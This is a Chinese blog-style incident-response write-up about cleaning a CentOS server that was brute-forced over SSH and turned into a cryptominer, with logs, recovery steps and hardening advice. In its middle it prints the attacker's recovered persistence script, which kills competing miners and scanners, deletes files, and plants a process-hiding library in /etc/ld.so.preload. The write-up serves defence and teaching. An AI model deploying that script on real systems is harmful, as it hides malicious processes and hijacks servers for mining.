扫码关注官方微信

扫码下载APP
返回顶部
首页 > 资讯 > 服务器 >分享服务器被入侵的处理过程
  • 877

0
分享到

分享服务器被入侵的处理过程

2024-04-02 19:04:59 877人浏览 独家记忆
摘要

目录一、服务器入侵现象二、服务器排查和处理2.1、服务器被入侵的可能原因2.2、排查和处理步骤三、本次入侵需要带来启示的点四、本次服务器被入侵的一些启示下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。

目录

  • 一、服务器入侵现象

  • 二、服务器排查和处理

    • 2.1、服务器被入侵的可能原因

    • 2.2、排查和处理步骤

  • 三、本次入侵需要带来启示的点

    • 四、本次服务器被入侵的一些启示

      下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。 chattr +ia


      一、服务器入侵现象

      近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵，具体现象是： 服务器 CPU 资源长期 100%，负载较高。 服务器上面的服务不能正常提供服务。

      分享服务器被入侵的处理过程

      朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了。 开始上手看看了。


      二、服务器排查和处理


      2.1、服务器被入侵的可能原因

      • 服务器 ssh 密码 设置得很简单。

      • 腾讯云安全组范围放得很大。

      • 使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。


      2.2、排查和处理步骤

      ps -ef / top 找出占用进程最大的服务

      问题现象

      ps/top 命令 已经被替换了。

      分享服务器被入侵的处理过程

      查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。

      问题现象

      [root@VM-12-12-Centos ~]# grep 'Accepted'  /var/log/secure 
      Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted passWord for root from 34.215.138.2 port 36720 ssh2
      Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
      Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
      Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
      Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

      lighthouse 腾讯云轻量服务器

      我们在这里就可以看到，有一些境外IP 34.215.138.2 成功登录了，这些 IP不是我们的正常登录。 在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。

      处理措施

      这里我们立马采取了第一个措施，

      • 在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP。

      • 将 SSH ROOT 密码修改。

      • /root/.ssh/authorized_keys 备份，并清空。

      [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak': Permission denied

      这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP， 所以这个我们可以晚点来处理。

      3.查看最近新增的一些用户

      问题现象

      cat /etc/passwd

      分享服务器被入侵的处理过程

      处理措施

      锁定用户

      [root@VM-12-12-centos ~]# usermod  -L  sys1

      4.我这里不计划去找进程（已经在新建一台版本一致的系统， 来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。

      问题现象

      定时任务

      crond 读取配置文件会从以下几个路径读取：

      • /var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户

      • /etc/crontab ，只能root 进行编辑，配置文件需指定用户

      • /etc/cron.d/ ,在此文件夹下创建定时任务文件，配置文件需指定用户

      • /etc/cron.*

      /var/spool/cron/ 未找到(后面会说到这里有障眼法)

      分享服务器被入侵的处理过程

      /etc/crontab 未找到(后面会说到这里有障眼法)

      但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。

      Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
      Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
      Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/Mysql/mysql;^Mno crontab for root                                                                                                   )

      Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
      Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/Httpss >/dev/null 2>&1;^M                                                                                                    )

      处理措施

      这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。 所以不能操作下去了。

      开机启动脚本

      /etc/rc.local ， 我们也发现了一个脚本。

      [root@VM-12-12-centos ~]# cat /etc/rc.local 
      #!/bin/bash
      # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
      #
      # It is highly advisable to create own systemd services or udev rules
      # to run scripts during boot instead of using this file.
      #
      # In contrast to previous versions due to parallel execution during boot
      # this script will NOT be run after all other services.
      #
      # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
      # that this script will be executed during boot.

      /usr/bin/0f4f80f9ab start

      但是这个文件好像不存在的，我们就把这个给注释了。

      5.还原更改了 top、ps、chattr、lsattr.

      • 首先我们从相同版本的机器拷贝了 chattr、lsattr， 我们得先操作这个， 因为我们的 top 和 ps 都被锁住了。

      • 我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。

      /tmp/chattr -ai /usr/bin/chattr

      • 执行完之后，发现还是不能替换 /usr/bin/chattr。 最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。

      • 解锁目录

      /tmp/chattr -ai /usr/bin/

      • 这下才能把 /usr/bin/chattr 给替换掉。

      • 接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。

      部分截图

      分享服务器被入侵的处理过程


      三、本次入侵需要带来启示的点

      ps 、top 、chattr 、lsattr

      在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

      文件内容隐藏

      上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。

      其实不知道使用了什么特殊字符还是什么隐藏了， 其实是存在定时任务的。

      示例：

      分享服务器被入侵的处理过程

      分享服务器被入侵的处理过程

      分享服务器被入侵的处理过程

      这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，具体的有知道的大佬可以告知下。

      其中一个脚本。

      [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
killall /var/tmp/j/./intelshell
pkill -f DOS32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
pkill -f apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f PHPupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xRedis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall biOSer
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-Unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

      我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。 并且在关闭一些扫描软件和系统的服务。

      在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。

      ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

      我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。

      分享服务器被入侵的处理过程

      我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。 后面在查看异常进程的时候，我看到了这个进程

      分享服务器被入侵的处理过程

      分享服务器被入侵的处理过程

      发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后，然后删除脚本。


      四、本次服务器被入侵的一些启示

      1. 用好云厂家的安全组。对一些关键端口，放行规则尽量最小/

      2. 服务器相关的一些密码尽量增加复杂性。

      3. 增加对一些关键文件的监控. (通过监控软件监控 md5值)

      • /etc/passwd

      • /etc/shadow

      • /etc/group

      • /root/.bash_history

      • /root/.ssh/authorized_keys

      • /etc/ssh/sshd_config

      • /etc/profile

      • /var/spool/cron/root

      • /etc/crontab

      • /etc/ld.so.preload

      • /etc/rc.local

      • lsof

      • ps

      • netstat

      • top

      • ls

      • pstree

      • last

      • history

      • sudo

      • password

      • chattr

      • lsattr

      4.服务器入侵之后，我们需要怎么处理才是最好的。

      https://cloud.tencent.com/document/product/296/9604

      https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

      1.服务器如果有开放SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure

      /root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

      2.服务器如果可以关闭外网，就关闭外网。 在安全组层面设置下，或者路由或者NAT。

      3.首先看下 ps/top 命令有没有被篡改， 如果有的话， 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。

      如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名 如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。

      4.如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。

      5.检查开机启动 和 crontab 相关的内容 。

      6.检查异常进程。

      以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。

      到此这篇关于分享服务器被入侵的处理过程的文章就介绍到这了,更多相关服务器入侵处理内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们！

      --结束END--

      本文标题: 分享服务器被入侵的处理过程

      本文链接: https://lsjlt.com/news/33983.html(转载时请注明来源链接)

      有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

      猜你喜欢
      • 分享服务器被入侵的处理过程
        目录一、服务器入侵现象二、服务器排查和处理2.1、服务器被入侵的可能原因2.2、排查和处理步骤三、本次入侵需要带来启示的点四、本次服务器被入侵的一些启示下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。 ...
        99+
        2024-04-02
      • 云服务器被入侵怎么处理的
        云服务器被入侵是一个非常严重的问题,它可能会导致数据泄露、系统宕机、系统崩溃等问题。为了保护云服务器安全,可以采取以下一些措施: 及时监控:定期对服务器进行监控和检查,及时发现和解决潜在的安全问题。 备份数据:定期备份服务器上的数据,以...
        99+
        2023-10-27
        怎么处理 服务器
      • 云服务器被入侵怎么处理
        如果您的云服务器遭受了攻击,那么以下是一些处理方法: 立即报告攻击:及时报告可疑的活动,让安全团队能够及时了解威胁情况,并采取相应措施。 限制访问:限制云服务器的访问权限,只有授权的人员才能访问,并在必要时对服务器进行更改和重新配置。 ...
        99+
        2023-10-26
        怎么处理 服务器
      • 云服务器被入侵怎么处理掉
        如果您的云服务器遭受了入侵攻击,可能会导致您的数据被窃取或受到其他不安全后果。以下是一些处理掉这种情况的建议: 删除数据:首先,确定您已经成功删除了云服务器的用户数据。有些公司可能会要求您提供删除数据的授权码,因此您需要提供给他们。 重...
        99+
        2023-10-27
        怎么处理 服务器
      • 腾讯云服务器被入侵怎么处理的
        一、云计算安全的重要性 云计算是指通过网络提供计算资源和服务的一种方式。它不仅可以提高计算资源的利用率，还可以降低成本，提高服务的可靠性和稳定性。随着互联网的普及和移动设备的发展，云计算已经成为了一种必不可少的IT基础设施。 云计算的优势...
        99+
        2023-10-28
        腾讯 怎么处理 服务器
      • 阿里云服务器被入侵的处理方法
        阿里云服务器是企业用户的重要资产，然而服务器被入侵的风险却时时刻刻存在。一旦阿里云服务器被入侵，不仅会带来严重的经济损失，还会对企业的信息安全造成威胁。那么，阿里云服务器被入侵该怎么办呢？本文将详细说明阿里云服务器被入侵的处理方法。 一、阿...
        99+
        2023-11-15
        阿里 服务器 方法
      • 腾讯云服务器被入侵怎么处理
        如果您的云服务器遭受了入侵攻击,可以采取以下措施来处理: 隔离控制:将您的计算机与防火墙和其他受保护的计算机或设备隔离开,以便能够检测和删除任何未经授权的访问。 安全更新:及时安装和更新安全补丁程序,以防范未经授权的攻击。 防御性更改:...
        99+
        2023-10-26
        腾讯 怎么处理 服务器
      • 云服务器被入侵
        云服务器被入侵是一种严重的网络安全事件,它通常发生在云计算服务提供商的服务器被入侵的情况下。以下是几种可能的情况,云计算服务提供商应该注意以防范这种情况: 访问控制:使用访问控制(ACL)工具来限制对云服务器的访问权限,可以确保只有授权...
        99+
        2023-10-26
        服务器
      • 记一次Linux被入侵，服务器变“矿机”全过程
        周一早上刚到办公室，就听到同事说有一台服务器登陆不上了，我也没放在心上，继续边吃早点，边看币价是不是又跌了。不一会运维的同事也到了，气喘吁吁的说：我们有台服务器被阿里云冻结了，理由：对外恶意发包。SSH 连了一下，被拒绝了，问了下默认的 2...
        99+
        2023-06-05
      • 云服务器被黑客入侵
        云服务器被黑客入侵是一个严重的安全威胁,因为黑客可以通过云服务器的漏洞和弱点,如密码弱密码、未经允许的访问、数据库攻击等入侵服务器,窃取服务器内的敏感信息,甚至破坏服务器数据。 为了防止云服务器被黑客入侵,建议使用多种安全措施,例如: ...
        99+
        2023-10-26
        黑客入侵 服务器
      • 腾讯云服务器被入侵
        首先，云计算是一种基于互联网的基础设施服务，其安全性对于用户的业务稳定和数据安全至关重要。黑客入侵云计算服务器，不仅会给用户带来直接的经济损失，更可能会引发法律问题和社会舆论的关注。因此，加强云计算服务的安全防护是非常必要的。 其次，云计...
        99+
        2023-10-28
        腾讯 服务器
      • 阿里云服务器被入侵
        据悉，该黑客组织的目标是获取阿里云服务器的控制权，以便能够控制整个云计算领域。在攻击过程中，黑客通过多种手段获取了大量的阿里云用户数据，包括用户的账户信息、密码、身份证信息等等。这些数据的泄露不仅给用户带来了巨大的损失，同时也引发了社会对于...
        99+
        2023-10-28
        阿里 服务器
      • 服务器被入侵如何排查
        服务器被入侵的排查方式：1、检查服务器日志信息是否被清除；2、检查服务器系统是否存在隐藏账户；3、检查服务器登录事件和日志记录；4、检查服务器已登录的全部用户；5、检查服务器是否存在异常流量；6、检查服务器数据库是否被入侵；7、检查服务器异...
        99+
        2024-04-02
      • 如何防止服务器被入侵
        防止服务器被入侵的方法：1、加强服务器登录口令复杂程度；2、及时做好服务器系统日志分析，排查异常问题；3、不要开发服务器中没有安全保障的应用以及端口；4、做好服务器权限控制，避免账号丢失被恶意利用；5、及时更新服务器系统补丁，提高服务器安全...
        99+
        2024-04-02
      • cdn服务器被入侵怎么办
        如果CDN服务器被入侵，以下是一些应对措施：1. 立即断开与被入侵服务器的网络连接：这将帮助阻止入侵者访问服务器并遏制进一步的攻击。...
        99+
        2023-08-15
        cdn服务器 服务器
      • 云服务器被入侵怎么办
        如果您的云服务器遭受入侵,可以采取以下措施来保护您的数据: 禁止访问:禁止访问您的数据可能会阻止入侵者访问您的计算机。您可以使用身份验证和访问控制功能来确保数据只被授权用户访问。 使用安全的操作系统:使用操作系统是防止黑客攻击的最佳途径...
        99+
        2023-10-26
        服务器
      • 自己的云服务器被黑客入侵
        首先，我们需要定期检查我们的云服务器，确保它没有任何漏洞。如果发现漏洞，我们需要立即采取措施来修复它们，以避免黑客利用这些漏洞入侵服务器。这可以通过使用一些常见的安全工具和配置来实现，例如防火墙、入侵检测系统等。同时，我们还需要对我们的云服...
        99+
        2023-10-28
        自己的 黑客入侵 服务器
      • 云服务器被入侵怎么解决的
        云服务器被入侵是指云服务供应商的网络系统被黑客入侵,导致数据被盗或泄露等安全问题。 解决云服务器被入侵的常见方法包括以下几点: 安装防火墙:安装防火墙可以保护云服务器免受网络攻击和入侵。防火墙可以限制攻击者的攻击范围,保护内部网络免受黑...
        99+
        2023-10-27
        服务器
      • 分享一次服务器被挖矿的处理方法
        问题现象:CPU的使用率一直100%服务器卡顿，无法正常使用疑似原因:系统密码较弱被破解安装的程序有漏洞被不法分子利用等等排查步骤:使用top命令观察占用cpu程序的PID（注：恶意程序的名称千奇百怪）
通过PID查看该程序所在的目录：ls...
        99+
        2023-06-03
      • 云服务器被入侵如何排查
        云服务器被入侵的排查方法：检查是否有开放未授权的端口，有则需要关闭。Windows操作系统：快捷键win+r，输入cmd，打开命令提示符窗口，再输入netstat /ano命令检查端口。Linux操作系统：快捷键Ctrl+Alt+T，打开终...
        99+
        2024-04-02
      软考高级职称资格查询
      热门wiki
      近期文章
      推荐阅读
      热门问答
      热门标签
      编程网，编程工程师的家园，是目前国内优秀的开源技术社区之一，形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容，为IT开发者提供了一个发现、使用、并交流开源技术的平台。

      • 官方手机版

      • 微信公众号

      • 商务合作